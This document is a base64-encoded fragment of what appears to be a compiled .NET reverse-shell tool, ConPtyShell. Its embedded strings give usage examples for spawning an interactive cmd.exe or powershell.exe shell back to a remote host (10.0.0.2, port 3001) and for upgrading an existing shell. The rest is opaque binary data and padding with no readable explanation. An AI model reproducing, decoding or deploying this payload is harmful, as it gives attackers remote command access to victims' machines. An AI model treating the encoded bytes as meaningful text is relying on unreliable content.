IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA